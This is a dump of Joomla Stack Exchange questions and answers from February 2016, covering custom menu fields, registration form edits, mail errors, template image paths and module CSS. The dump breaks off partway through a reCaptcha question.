  <row Id="15220" PostTypeId="1" CreationDate="2016-02-06T23:44:27.090" Score="1" ViewCount="1304" Body="&lt;p&gt;as the title says. is it possible to add an extra field to the &quot;New Item&quot; in the administration panel? just below the &quot;title&quot; i want the same field called &quot;title 2&quot; and then display it in the frontend? is it possible somehow without downloading lots of extensions etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there is this tutorial, but this is only for the fields in the new article page. want the same but for new menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://andresgallo.com/2011/08/28/add-custom-content-fields-to-joomla-pt-2-on-the-front-end/&quot; rel=&quot;nofollow&quot;&gt;http://andresgallo.com/2011/08/28/add-custom-content-fields-to-joomla-pt-2-on-the-front-end/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;im using joomla 3.8&#xA;edit: &#xA;So i have gotten a little bit further. i now added a  to the:&#xA;Administrator/Components/com_menus/model/form/menu.xml&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;            name=&quot;title_danish&quot;&#xA;            type=&quot;title_danish&quot;&#xA;            label=&quot;COM_MENUS_ITEM_FIELD_TITLE_LABEL&quot;&#xA;            description=&quot;COM_MENUS_ITEM_FIELD_TITLE_DESC&quot;&#xA;            class=&quot;input-xxlarge input-large-text&quot;&#xA;            size=&quot;40&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then i added this line to &#xA;Administrator/Components/com_menus/views/item/tmpl/edit.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('title_danish', null, $this-&amp;gt;userID); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and also i duplicated the title to title_danish in the database, so it saves it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the only thing remaining is displaying the outcome of title_danish in my com_content in my fronted. i dont know how to do that. can anyone help here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;btw the above way i have done it. is it the right way or are their an easier way?&lt;/p&gt;&#xA;" OwnerUserId="6918" LastEditorUserId="6918" LastEditDate="2016-02-07T07:41:27.823" LastActivityDate="2016-09-06T04:41:37.203" Title="Adding extra field to the &quot;New Item&quot; in menu component" Tags="|joomla-3.x|php|menu-item|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15221" PostTypeId="2" ParentId="15217" CreationDate="2016-02-07T03:05:50.440" Score="1" Body="&lt;p&gt;If you are going from a display view to an edit view you need to query the data from your database based on the unique id of the data you are attempting to edit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are posting the form back to itself try using the JInput class to get the posted data and repopulate the form&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-02-07T03:05:50.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15222" PostTypeId="2" ParentId="15220" CreationDate="2016-02-07T13:17:31.323" Score="0" Body="&lt;p&gt;please try to put that line under or top of the main title field&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look for that line at file: /home/web/public_html/joomla/components/com_content/views/form/tmpl/edit.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('title'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and place that line before or after it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('title_danish'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope it helps&lt;/p&gt;&#xA;" OwnerUserId="7757" LastActivityDate="2016-02-07T13:17:31.323" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15224" PostTypeId="2" ParentId="15195" CreationDate="2016-02-07T13:53:50.547" Score="3" Body="&lt;p&gt;Did you try this in your Admin config:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Menu &gt;&gt; Item Menu K2 Category &gt;&gt;&#xA;Tab Options &gt;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Fetch items... (Will show children items in yours subcategories)&lt;/li&gt;&#xA;&lt;li&gt;Item Ordering ... (You can choose may options)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qGVzL.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qGVzL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2016-02-07T13:53:50.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15225" PostTypeId="2" ParentId="14893" CreationDate="2016-02-07T15:30:15.010" Score="3" Body="&lt;p&gt;Yes, you can make your own options, here is how:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;state&quot;&#xA;    type=&quot;list&quot;&#xA;    label=&quot;JOPTION_SELECT_PUBLISHED&quot;&#xA;    onchange=&quot;this.form.submit();&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;JOPTION_SELECT_PUBLISHED&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;-2&quot;&amp;gt;JTRASHED&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;0&quot;&amp;gt;JUNPUBLISHED&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;1&quot;&amp;gt;JPUBLISHED&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;*&quot;&amp;gt;JALL&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7757" LastActivityDate="2016-02-07T15:30:15.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15226" PostTypeId="2" ParentId="14893" CreationDate="2016-02-08T15:13:07.280" Score="4" Body="&lt;p&gt;You can either make your own options (see &lt;a href=&quot;https://joomla.stackexchange.com/a/15225/154&quot;&gt;Hasanalsamra's answer)&lt;/a&gt; or use the &lt;code&gt;filter&lt;/code&gt; option of the status field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;state&quot;&#xA;    type=&quot;status&quot;&#xA;    filter=&quot;*,0,1,-2&quot;&#xA;    label=&quot;JOPTION_SELECT_PUBLISHED&quot;&#xA;    onchange=&quot;this.form.submit();&quot;&#xA;    &amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;JOPTION_SELECT_PUBLISHED&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;For reference:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;* = all&lt;br /&gt;&#xA;0 = unpublished&lt;br /&gt;&#xA;1 = published&lt;br /&gt;&#xA;2 = archived&lt;br /&gt;&#xA;-2 = trashed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example of this usage can be found in the core backend component com_menu (\administrator\components\com_menus\models\forms\filter_items.xml)&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-02-08T15:13:07.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15227" PostTypeId="2" ParentId="15220" CreationDate="2016-02-08T22:25:12.707" Score="2" Body="&lt;p&gt;You have made some mistakes: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You need to override the menu for the kind of content you want to display. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you want the default front-page-menu; the featured menu item, then find /components/com_content/views/featured/tmpl/default.xml and ditto default.php and default_*.php, and copy these to /templates/yourtemplate/html/com_content/featured/. Now you are ready to make your changes. Change the xml-file like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Layout-section: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;layout title=&quot;Special view with danish and english title&quot; &#xA;option=&quot;COM_CONTENT_FEATURED_VIEW_DEFAULT_OPTION&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in fieldset article, add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;  name=&quot;title_danish&quot; type=&quot;text&quot; label=&quot;Dansk tittel&quot;&#xA;  description=&quot;Her er dansk tittel&quot;&#xA;  class=&quot;input-xxlarge input-large-text&quot;&#xA;  size=&quot;40&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use type=text, not type=title_danish as you did in your question&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Make a menu item, and fill in the new title. You should find the new field under the Options - tab in the menu administration for menu type featured. If you want a different menu type, override this content type instead.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Output your new field in the frontend.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The field is saved in the menu item parameters, so to get it, you'll need to use something like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $this-&amp;gt;params-&amp;gt;get('title_danish');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can add this wherever it suits you best, but I guess somewhere in your new file /templates/yourtemplate/html/com_content/featured/default.php is a good choice. Hope this clears up some things...&lt;/p&gt;&#xA;" OwnerUserId="360" LastActivityDate="2016-02-08T22:25:12.707" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15228" PostTypeId="2" ParentId="15182" CreationDate="2016-02-09T00:17:12.803" Score="2" Body="&lt;p&gt;&lt;strong&gt;&lt;em&gt;Let me start by saying I do not condone this method, the next time you update Joomla there is a high probability you will undo these changes completely.&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is however a working method to do what you are trying to accomplish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit the file components &gt; com_users &gt; models &gt; forms &gt; registration.xml&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Comment out the name field&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--&amp;lt;field&#xA;    name=&quot;name&quot;&#xA;    type=&quot;text&quot;&#xA;    description=&quot;COM_USERS_REGISTER_NAME_DESC&quot;&#xA;    filter=&quot;string&quot;&#xA;    label=&quot;COM_USERS_REGISTER_NAME_LABEL&quot;&#xA;    required=&quot;true&quot;&#xA;    size=&quot;30&quot;&#xA;/&amp;gt;--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add these 2 fields&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;firstname&quot;&#xA;    type=&quot;text&quot;&#xA;    description=&quot;Users First Name&quot;&#xA;    filter=&quot;string&quot;&#xA;    label=&quot;First Name&quot;&#xA;    required=&quot;true&quot;&#xA;    size=&quot;30&quot;&#xA;/&amp;gt;&#xA;&#xA;&amp;lt;field&#xA;    name=&quot;lastname&quot;&#xA;    type=&quot;text&quot;&#xA;    description=&quot;Users First Name&quot;&#xA;    filter=&quot;string&quot;&#xA;    label=&quot;First Name&quot;&#xA;    required=&quot;true&quot;&#xA;    size=&quot;30&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the file components &gt; com_users &gt; controllers &gt; registration.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this line of code around line 127:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$requestData['name'] = $requestData['firstname'].' '.$requestData['lastname'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Immediately after&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$requestData = $this-&amp;gt;input-&amp;gt;post-&amp;gt;get('jform', array(), 'array');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will concatenate your firstname and lastname fields into the name field required by Joomlas registration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other method of doing this you could just simply install Community Builder, setup any custom fields you want to and let CB handle your registration for you instead of com_users. This would also allow you to query any user related fields in the database at a later date if you need to by querying the CB tables in the database using the user id as the filter.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-02-09T00:17:12.803" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15229" PostTypeId="1" CreationDate="2016-02-09T00:31:39.553" Score="2" ViewCount="96" Body="&lt;p&gt;We are create a joomla registration form using Phonegap (+webservices).  The user hit the 'Register' button on the mobile and a request hits the Joomla server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the Joomla server has to identify all the custom profiles and send them as a Form or XML or something back so that the mobile client can render the data on the screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure this makes any sense... Do we have any method so that it can return the form or is there any simpler way to do??&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2016-02-10T00:07:49.467" Title="Render custom Joomla profile Form" Tags="|joomla-3.x|registration|profile|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15230" PostTypeId="2" ParentId="15229" CreationDate="2016-02-09T03:04:57.397" Score="1" Body="&lt;p&gt;Create a custom plugin for your Joomla site and utilize the onAfterUserSave method to return any type of string you want.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-02-09T03:04:57.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15231" PostTypeId="1" CreationDate="2016-02-09T07:05:53.630" Score="2" ViewCount="1626" Body="&lt;p&gt;Contact form is not working even though the php and smtp mail settings are customized correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In php mail settings, it prompts as&#xA;           &quot;Could not instantiate mail function&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In SMTP settings, it prompts as&#xA;           &quot;SMTP connect() failed&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Iam using Joomla 3.4.8 version and even the JSN uniform (3.3.1) is not working. Can someone clarify me ASAP please.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance  &lt;/p&gt;&#xA;" OwnerUserId="7763" LastEditorUserId="3650" LastEditDate="2016-11-17T18:48:24.763" LastActivityDate="2016-11-17T18:48:24.763" Title="Contact form not sending mail to admin even when php and smtp mail settings were correct" Tags="|joomla-3.x|joomla-3.3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15232" PostTypeId="2" ParentId="15231" CreationDate="2016-02-09T08:58:14.037" Score="1" Body="&lt;p&gt;I have faced this kind of problems few times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I've had Send From email address in Global Config which was not from native site domain, and Joomla complained &quot;Could not instantiate mail function&quot;. It was fixed the moment I changed the Send From email to one that actually exists on the server which hosts site and domain, even though it was just email forwarder. It used PHP Mail setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've noticed that issue doesn't happen on every server. On some servers I've happily used sendfrom address from my own Google Apps email domain, but on others I have to use existing email address from the site domain.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2016-02-09T08:58:14.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15233" PostTypeId="1" AcceptedAnswerId="15236" CreationDate="2016-02-09T09:44:10.163" Score="0" ViewCount="173" Body="&lt;p&gt;I did an override for joomla core mod_menu.&#xA;But if I try to insert an image like this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/&amp;lt;?php echo $this-&amp;gt;template ?&amp;gt;/images/image.png&quot;&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;... it didnt work. The side loads only the content of the menu without any styling. If I insert the direct link without any php it works. In my template &lt;code&gt;index.php&lt;/code&gt; the same code works fine. &#xA;Does somebody know how I can link to an image in an html override, without a hard coded url?&lt;/p&gt;&#xA;" OwnerUserId="5771" LastActivityDate="2016-02-10T08:47:16.550" Title="Image not found in html override" Tags="|overrides|template-override|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15234" PostTypeId="2" ParentId="10000" CreationDate="2016-02-09T10:09:37.990" Score="1" Body="&lt;p&gt;&lt;strong&gt;Jooomla Cache&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try clearing the Joomla cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Local Browser Cache&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try clearing the web browser cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Redirection Consistency&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen similar behaviour when the website is not being redirected consistently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Joomla 3.x, you probably shouldn't be using the &lt;code&gt;livesite&lt;/code&gt; parameter in the &lt;code&gt;configuration.php&lt;/code&gt; file but if you are, make sure it's consistent with any redirections in your &lt;code&gt;.htaccess&lt;/code&gt; file or anywhere else. For example, if you are redirecting the non-www version of the website to the www version of the website, make sure the &lt;code&gt;livesite&lt;/code&gt; parameter (if you are using it) is set to the www version of the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;.htaccess&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back up your &lt;code&gt;.htaccess&lt;/code&gt; file and temporarily copy the contents of &lt;code&gt;htaccess.txt&lt;/code&gt; to &lt;code&gt;.htaccess&lt;/code&gt; to reset your &lt;code&gt;.htaccess&lt;/code&gt; file back to defaults to see if something in &lt;code&gt;.htaccess&lt;/code&gt; is causing the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla Update and Check for Malware&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also upgrade to the latest version of Joomla as Joomla 3.4.1 has some known vulnerabilities. I'd be inclined to scan the website using mysites.guru (formerly myjoomla.com) or similar in case the website has been compromised and this is the reason you are having intermittent login issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Third Party Extensions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What third party extensions are enabled on the website? Try temporarily disabling these one by one to check if a third party extension is responsible. Try updating all third party extensions to the latest versions as this may also help fix the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Session Table&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;[prefix]_session&lt;/code&gt; table is frequently updated in Joomla and can occasionally become corrupt. Run a repair on the table using phpMyAdmin or Akeeba Admin Tools or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Front-end / Back-end&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are the back-end and front-end logins both affected or only one of these? This information may help narrow down the issue.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2019-09-07T08:50:49.293" LastActivityDate="2019-09-07T08:50:49.293" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15235" PostTypeId="1" AcceptedAnswerId="15237" CreationDate="2016-02-09T10:35:25.853" Score="0" ViewCount="65" Body="&lt;p&gt;I need to change the &quot;SOLD&quot; message to &quot;CALL US&quot; on quick view and product details, but I'm not able to find the correct .php file I need to edit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla: 2.5&#xA;Virtuemart: 2.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The theme has custom files for virtuemart too. Any help would be appreciated! Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7764" LastActivityDate="2016-02-09T11:05:44.747" Title="How to change &quot;SOLD&quot; message on quick view and product details" Tags="|virtuemart|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15236" PostTypeId="2" ParentId="15233" CreationDate="2016-02-09T10:53:27.847" Score="4" Body="&lt;p&gt;You may get an PHP error or warning. That would explain why you see the menu without styling. You should enable error reporting on your server to see these errors/warnings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the value of &lt;code&gt;$this-&amp;gt;baseurl&lt;/code&gt; and &lt;code&gt;$this-&amp;gt;template&lt;/code&gt;? Are these variables really available in your override? You can check the values with PHP's var_dump() function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php var_dump($this-&amp;gt;baseurl); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My guess is that these or at least one of these variables is null, because they are not defined. If I'm correct you can use this code to get your URLs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php echo JUri::base(true); ?&amp;gt;/templates/&amp;lt;?php echo JFactory::getApplication()-&amp;gt;getTemplate(); ?&amp;gt;/images/image.png&quot; /&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="154" LastEditorUserId="154" LastEditDate="2016-02-10T08:47:16.550" LastActivityDate="2016-02-10T08:47:16.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15237" PostTypeId="2" ParentId="15235" CreationDate="2016-02-09T11:05:44.747" Score="2" Body="&lt;p&gt;Found it. It was an .ini file like you said but not on .../templates/OUR_TEMPLATE/..., not even in &quot;components&quot; folder&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was in a folder &quot;languages&quot; in the root of the Joomla install. Thanks again Max.&lt;/p&gt;&#xA;" OwnerUserId="7764" LastActivityDate="2016-02-09T11:05:44.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15238" PostTypeId="1" CreationDate="2016-02-09T11:25:46.397" Score="2" ViewCount="770" Body="&lt;p&gt;I would like to call the publishing-method I defined in my item's controller from a CLI-script or a helper (which is included in the CLI).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best case would be to call it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$itemcontroller-&amp;gt;publish($task);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I am not sure if this is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The modified publishing-method in my controller looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * publish function.&#xA; * &#xA; * @access public&#xA; * @return void&#xA; */&#xA;public function publish()&#xA;{&#xA;    $app                                    =   JFactory::getApplication();&#xA;    $jinput                                 =   JFactory::getApplication()-&amp;gt;input;&#xA;    $ids                                    =   $jinput-&amp;gt;get('cid', '', 'array');&#xA;    $task                                   =   $this-&amp;gt;getTask();&#xA;    $date                                   =   JFactory::getDate();            &#xA;&#xA;    $modelitem                              =   $this-&amp;gt;getModel('Item');        &#xA;&#xA;    foreach($ids as $id)&#xA;    {&#xA;        switch($task)&#xA;        {&#xA;            case 'publish'  :                   // do something&#xA;                                                break;          &#xA;            case 'unpublish':                   // do something&#xA;                                                break;      &#xA;            case 'archive'  :                   // do something&#xA;                                                break;      &#xA;            case 'trash'    :                   // do something&#xA;                                                break;      &#xA;        }&#xA;&#xA;    $publish                                =   $modelitem-&amp;gt;publish($id, $state);       &#xA;    $this-&amp;gt;setRedirect('index.php?option=com_bestia&amp;amp;view=items', false);&#xA;&#xA;    return true;&#xA;}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I do that?&lt;/p&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2018-04-17T00:32:51.557" Title="Call Controller's Publish-Method from CLI or Helper" Tags="|development|custom-component|controller|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15240" PostTypeId="1" AcceptedAnswerId="15241" CreationDate="2016-02-09T18:30:11.800" Score="0" ViewCount="114" Body="&lt;p&gt;I would like to place the &lt;code&gt;Syndication Feed Module&lt;/code&gt; in its simpliest form (only its icon), at the end of the top-menu of a site (&lt;code&gt;position-1&lt;/code&gt; of the &lt;code&gt;protostar&lt;/code&gt; template). Unfortunately, when affected to &lt;code&gt;position-1&lt;/code&gt;, the module appears on a new line below the menu items.&lt;br&gt;&#xA;Does anyone have an idea of the nicest way to do that ?&lt;br&gt;&#xA;Help would be greatly appreciated.&lt;br&gt;&#xA;Here is what I get:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/0OJ6k.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0OJ6k.png&quot; alt=&quot;Here is what I get&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5691" LastEditorUserId="5691" LastEditDate="2016-02-15T17:04:15.140" LastActivityDate="2016-02-17T19:24:31.313" Title="How to put the Syndication Feed Module Icon in theTop Menu" Tags="|joomla-3.x|module-display|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15241" PostTypeId="2" ParentId="15240" CreationDate="2016-02-09T20:13:46.453" Score="1" Body="&lt;p&gt;Here is your solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For you nav element add this CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ul.nav{&#xA;    display: inline-block;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For your feed link add this CSS&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a.syndicate-module{&#xA;    float:right;&#xA;    line-height: 34px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want the feed icon to be left aligned to the menu instead of floating to the right change the CSS to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a.syndicate-module{&#xA;    display: inline-block;&#xA;    vertical-align: top;&#xA;    line-height: 34px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Image links for you to see the difference:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteboard.co/1vAiiOcn.jpg&quot; rel=&quot;nofollow&quot;&gt;Left Aligned&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteboard.co/1vApKNJ1.jpg&quot; rel=&quot;nofollow&quot;&gt;Floated Right&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7730" LastEditorUserId="7730" LastEditDate="2016-02-12T22:23:27.697" LastActivityDate="2016-02-12T22:23:27.697" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="15242" PostTypeId="2" ParentId="15233" CreationDate="2016-02-09T20:16:28.897" Score="1" Body="&lt;p&gt;You can try this one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php echo JUri::root(); ?&amp;gt;/templates/&amp;lt;?php echo JFactory::getApplication()-&amp;gt;getTemplate(); ?&amp;gt;/images/image.png&quot; /&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-02-09T20:16:28.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15243" PostTypeId="1" AcceptedAnswerId="15245" CreationDate="2016-02-10T00:04:44.990" Score="1" ViewCount="145" Body="&lt;p&gt;I am using Joomla ReCaptcha on my custom module using the below code.  The capthca comes and it works great but it looks very ugly.... :-(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PHP&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JPluginHelper::importPlugin('captcha');&#xA;$dispatcher = JEventDispatcher::getInstance();&#xA;$dispatcher-&amp;gt;trigger('onInit','dynamic_recaptcha_1');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HTML&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;    &amp;lt;div id=&quot;dynamic_recaptcha_1&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Psrq0.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Psrq0.jpg&quot; alt=&quot;enter image description 